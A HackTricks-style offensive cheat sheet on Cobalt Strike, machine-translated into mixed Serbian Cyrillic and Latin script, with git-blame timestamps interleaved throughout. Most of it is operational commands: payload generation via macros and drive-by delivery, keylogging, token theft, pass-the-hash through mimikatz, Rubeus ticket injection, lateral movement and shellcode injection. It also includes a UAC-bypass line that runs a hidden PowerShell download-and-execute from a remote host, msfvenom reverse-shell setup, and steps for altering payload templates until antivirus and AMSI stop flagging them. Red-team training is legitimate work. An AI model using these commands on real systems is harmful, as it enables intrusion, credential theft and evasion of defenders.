hacktricks/c2/cobalt-strike.md

209 lines
12 KiB
Markdown
Raw Normal View History

2022-08-12 22:50:15 +00:00
# Cobalt Strike
2024-02-10 13:11:20 +00:00
### Слушаоци
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
### C2 Слушаоци
2022-08-13 15:36:34 +00:00
2024-02-10 13:11:20 +00:00
`Cobalt Strike -> Слушаоци -> Додај/Уреди` затим можете изабрати где слушати, коју врсту бикона користити (http, dns, smb...) и више.
2022-08-13 15:36:34 +00:00
2024-02-10 13:11:20 +00:00
### Peer2Peer Слушаоци
2022-08-13 15:36:34 +00:00
2024-02-10 13:11:20 +00:00
Бикони ових слушаоца не морају директно комуницирати са C2, могу комуницирати преко других бикона.
2022-08-13 15:36:34 +00:00
2024-02-10 13:11:20 +00:00
`Cobalt Strike -> Слушаоци -> Додај/Уреди` затим морате изабрати TCP или SMB биконе
2022-08-13 15:36:34 +00:00
2024-02-10 13:11:20 +00:00
* **TCP бикон ће поставити слушаоца на изабраном порту**. За повезивање са TCP биконом користите команду `connect <ip> <port>` са другог бикона
* **smb бикон ће слушати на пипе са изабраним именом**. За повезивање са SMB биконом морате користити команду `link [target] [pipe]`.
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
### Генерише и хостује пакете
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
#### Генерише пакете у датотекама
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
`Напади -> Пакети ->`&#x20;
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
* **`HTMLApplication`** за HTA датотеке
* **`MS Office Macro`** за офисни документ са макром
* **`Windows Executable`** за .exe, .dll или сервис .exe
* **`Windows Executable (S)`** за **stageless** .exe, .dll или сервис .exe (боље stageless него staged, мање IoC-ова)
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
#### Генерише и хостује пакете
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
`Напади -> Веб Drive-by -> Скриптована Испорука преко Веба (S)` Ово ће генерисати скрипту/извршни документ за преузимање бикона са Cobalt Strike у форматима као што су: bitsadmin, exe, powershell и python
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
#### Хостује пакете
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
Ако већ имате датотеку коју желите да хостујете на веб серверу, само идите на `Напади -> Веб Drive-by -> Хостуј датотеку` и изаберите датотеку за хостовање и конфигурацију веб сервера.
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
### Опције бикона
2022-08-12 22:50:15 +00:00
2024-02-10 13:11:20 +00:00
<pre class="language-bash"><code class="lang-bash"># Изврши локални .NET бинарни фајл
2022-08-13 15:36:34 +00:00
execute-assembly &#x3C;/path/to/executable.exe>
2022-08-13 13:54:19 +00:00
2024-02-10 13:11:20 +00:00
# Снимци екрана
printscreen # Направи један снимак екрана помоћу PrintScr методе
screenshot # Направи један снимак екрана
screenwatch # Периодично прави снимке екрана
## Идите на Приказ -> Снимци екрана да их видите
2022-08-12 22:50:15 +00:00
# keylogger
keylogger [pid] [x86|x64]
2024-02-10 13:11:20 +00:00
## Приказ > Притиснуте тастере да видите притиснуте тастере
2022-08-13 15:36:34 +00:00
2022-08-14 10:22:31 +00:00
# portscan
2024-02-10 13:11:20 +00:00
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Убаци акцију скенирања порта у други процес
2022-08-14 10:22:31 +00:00
portscan [targets] [ports] [arp|icmp|none] [max connections]
2022-08-13 23:06:40 +00:00
# Powershell
2024-02-10 13:11:20 +00:00
# Увези Powershell модул
2022-08-13 15:36:34 +00:00
powershell-import C:\path\to\PowerView.ps1
2024-02-10 13:11:20 +00:00
powershell &#x3C;овде унесите powershell команду>
2022-08-13 15:36:34 +00:00
2024-02-10 13:11:20 +00:00
# Имитација корисника
## Генеришење токена са креденцијалима
make_token [DOMAIN\user] [password] #Креирај токен за имитирање корисника у мрежи
ls \\computer_name\c$ # Покушај коришћења генерисаног токена за приступ C$ на рачунару
rev2self # Престани користити токен генерисан са make_token
## Коришћење make_token генерише догађај 4624: Налог је успешно пријављен. Овај догађај је веома чест у Windows домену, али се може сужавати филтрирањем по типу пријаве. Као што је поменуто, користи LOGON32_LOGON_NEW_CREDENTIALS који је тип 9.
2022-08-13 23:06:40 +00:00
2022-09-03 00:24:33 +00:00
# UAC Bypass
2024-02-10 13:11:20 +00:00
elevate svc-exe &#x3C;слушаоц>
elevate uac-token-duplication &#x3C;слушаоц>
2022-09-03 00:24:33 +00:00
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
2022-08-13 23:06:40 +00:00
2024-02-10 13:11:20 +00:00
## Укради токен из pid-а
## Као make_token, али краде токен из процеса
steal_token [pid] # Такође, ово је корисно за мрежне акције, а не локалне акције
## Из документације API-ја знамо да овај тип пријаве "омогућава позиваоцу да клонира свој тренутни токен". Зато Beacon исписује Impersonated &#x3C;current_username> - имитира наш клонирани токен.
ls \\computer_name\c$ # Покушај коришћења генерисаног токена за приступ C$ на рачунару
rev2self # Престани користити токен из steal_token
2022-08-13 23:06:40 +00:00
2024-02-10 13:11:20 +00:00
## Покрени процес са новим креденцијалима
spawnas [domain\username] [password] [listener] #Урадите то из директоријума са приступом за читање као: cd C:\
## Као make_token, ово ће генерисати Windows догађај 4624: Налог је успешно пријављен, али са типом пријаве 2 (LOGON32_LOGON_INTERACTIVE). Детаљно ће бити наведен позиваоц (TargetUserName) и имитирани корисник (TargetOutboundUserName).
2022-08-13 23:06:40 +00:00
2024-02-10 13:11:20 +00:00
## Убаци у процес
2022-08-13 23:06:40 +00:00
inject [pid] [x64|x86] [listener]
2024-02-10 13:11:20 +00:00
## Са аспекта ОпСек-а: Не врши убацивање између различитих платформи осим ако заиста морате (нпр. x86 -> x64 или x64 -> x86).
2022-08-13 23:06:40 +00:00
2024-02-10 13:11:20 +00:00
## Пренеси хеш
## Овај процес измене захтева патчовање меморије LSASS што је акција високог ризика, захтева привилегије локалног администратора и није све то изводљиво ако је омогућено Заштићено Процесно Светло (PPL).
2022-08-13 23:06:40 +00:00
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
2024-02-10 13:11:20 +00:00
## Пренеси хеш преко mimikatz-a
2022-08-13 23:06:40 +00:00
mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
2024-02-10 13:11:20 +00:00
## Без /run, mimikatz покреће cmd.exe, ако користите као корисник са Радном површином, видеће шел (ако користите као СИСТЕМ, све је у реду)
steal_token &#x3C;pid> #Укради токен из процеса који је креирао mimikatz
## Пренеси тикет
## Захтевај тикет
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;username> /domain:&#x3C;domain>
### Kreiranje nove sesije za prijavljivanje, zabeležite luid i processid
execute-assembly C:\putanja\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Ubacite karticu u generisanu sesiju za prijavljivanje
execute-assembly C:\putanja\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Na kraju, ukradite token iz tog novog procesa
2022-08-13 23:06:40 +00:00
steal_token &#x3C;pid>
2024-02-10 13:11:20 +00:00
# Lateralno kretanje
## Ako je token kreiran, biće korišćen
jump [metoda] [cilj] [slušalac]
## Metode:
## psexec x86 Koristi uslugu za pokretanje artefakta Service EXE
## psexec64 x64 Koristi uslugu za pokretanje artefakta Service EXE
## psexec_psh x86 Koristi uslugu za pokretanje PowerShell jednolinije
## winrm x86 Pokreće PowerShell skriptu putem WinRM-a
## winrm64 x64 Pokreće PowerShell skriptu putem WinRM-a
remote-exec [metoda] [cilj] [komanda]
## Metode:
<strong>## psexec Daljinsko izvršavanje putem Service Control Manager-a
</strong>## winrm Daljinsko izvršavanje putem WinRM-a (PowerShell)
## wmi Daljinsko izvršavanje putem WMI-a
## Da biste izvršili beacon sa wmi (nije u jump komandi), samo otpremite beacon i izvršite ga
2022-08-13 15:36:34 +00:00
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
2022-08-14 09:56:17 +00:00
2024-02-10 13:11:20 +00:00
# Prosledi sesiju Metasploitu - Putem slušaoca
## Na Metasploit hostu
2022-08-14 09:56:17 +00:00
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
2024-02-10 13:11:20 +00:00
## Na Cobalt: Slušaoci > Dodaj i postavi Payload na Foreign HTTP. Postavi Host na 10.10.5.120, Port na 8080 i klikni Sačuvaj.
2022-08-14 09:56:17 +00:00
beacon> spawn metasploit
2024-02-10 13:11:20 +00:00
## Možete spawn-ovati samo x86 Meterpreter sesije sa foreign slušaocem.
2022-08-14 09:56:17 +00:00
2024-02-10 13:11:20 +00:00
# Prosledi sesiju Metasploitu - Putem ubrizgavanja shellcode-a
## Na Metasploit hostu
2022-08-14 09:56:17 +00:00
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw -o /tmp/msf.bin
2024-02-10 13:11:20 +00:00
## Pokreni msfvenom i pripremi multi/handler slušaoca
2022-08-14 09:56:17 +00:00
2024-02-10 13:11:20 +00:00
## Kopiraj bin fajl na Cobalt Strike host
2022-08-14 09:56:17 +00:00
ps
2024-02-10 13:11:20 +00:00
shinject &#x3C;pid> x64 C:\Payloads\msf.bin #Ubrizgaj metasploit shellcode u x64 proces
2022-08-14 09:56:17 +00:00
2024-02-10 13:11:20 +00:00
# Prosledi metasploit sesiju Cobalt Strike-u
## Generiši stageless Beacon shellcode, idi na Attacks > Packages > Windows Executable (S), izaberi željeni slušalac, izaberi Raw kao Output tip i izaberi Use x64 payload.
## Koristi post/windows/manage/shellcode_inject u metasploit-u da ubrizgaš generisani cobalt strike shellcode
2022-08-14 10:22:31 +00:00
# Pivoting
2024-02-10 13:11:20 +00:00
## Otvori socks proxy na teamserveru
2022-08-14 10:22:31 +00:00
beacon> socks 1080
2022-08-14 20:18:45 +00:00
2024-02-10 13:11:20 +00:00
# SSH konekcija
beacon> ssh 10.10.17.12:22 korisničko_ime lozinka</code></pre>
2022-08-21 14:40:42 +00:00
2024-02-10 13:11:20 +00:00
## Izbegavanje AV-a
2022-08-21 14:40:42 +00:00
### Artifact Kit
2024-02-10 13:11:20 +00:00
Obično u `/opt/cobaltstrike/artifact-kit` možete pronaći kod i prekompilirane šablone (u `/src-common`) payloada koje će cobalt strike koristiti za generisanje binarnih beacona.
2022-08-21 14:40:42 +00:00
2024-02-10 13:11:20 +00:00
Koristeći [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa generisanim backdoorom (ili samo sa kompiliranim šablonom) možete pronaći šta pokreće defender. Obično je to string. Stoga jednostavno izmenite kod koji generiše backdoor tako da taj string ne bude prisutan u finalnom binarnom fajlu.
2022-08-21 14:40:42 +00:00
2024-02-10 13:11:20 +00:00
Nakon izmene koda, pokrenite `./build.sh` iz istog direktorijuma i kopirajte `dist-pipe/` folder na Windows klijentu u `C:\Tools\cobaltstrike\ArtifactKit`.
2022-08-21 14:40:42 +00:00
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2024-02-10 13:11:20 +00:00
Ne zaboravite da učitate agresivni skript `dist-pipe\artifact.cna` kako biste Cobalt Strike-u pokazali da koristi resurse sa diska koje želimo, a ne one koji su učitani.
2022-08-21 14:40:42 +00:00
### Resource Kit
2024-02-10 13:11:20 +00:00
Folder ResourceKit sadrži predloške za skriptne payload-e Cobalt Strike-a, uključujući PowerShell, VBA i HTA.
2022-08-21 14:40:42 +00:00
2024-02-10 13:11:20 +00:00
Korišćenjem [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) sa predlošcima možete pronaći šta se ne sviđa zaštitniku (u ovom slučaju AMSI) i izmeniti to:
2022-08-21 14:40:42 +00:00
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
2024-02-10 13:11:20 +00:00
Modifikovanjem detektovanih linija može se generisati šablon koji neće biti uhvaćen.
2022-08-21 14:40:42 +00:00
2024-02-10 13:11:20 +00:00
Ne zaboravite da učitate agresivni skriptu `ResourceKit\resources.cna` kako biste Cobalt Strike-u pokazali da koristite resurse sa diska koje želite, a ne one koji su učitani.
2022-09-03 00:18:00 +00:00
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
2022-10-08 08:34:51 +00:00
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
2022-09-03 00:18:00 +00:00
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2024-02-10 13:11:20 +00:00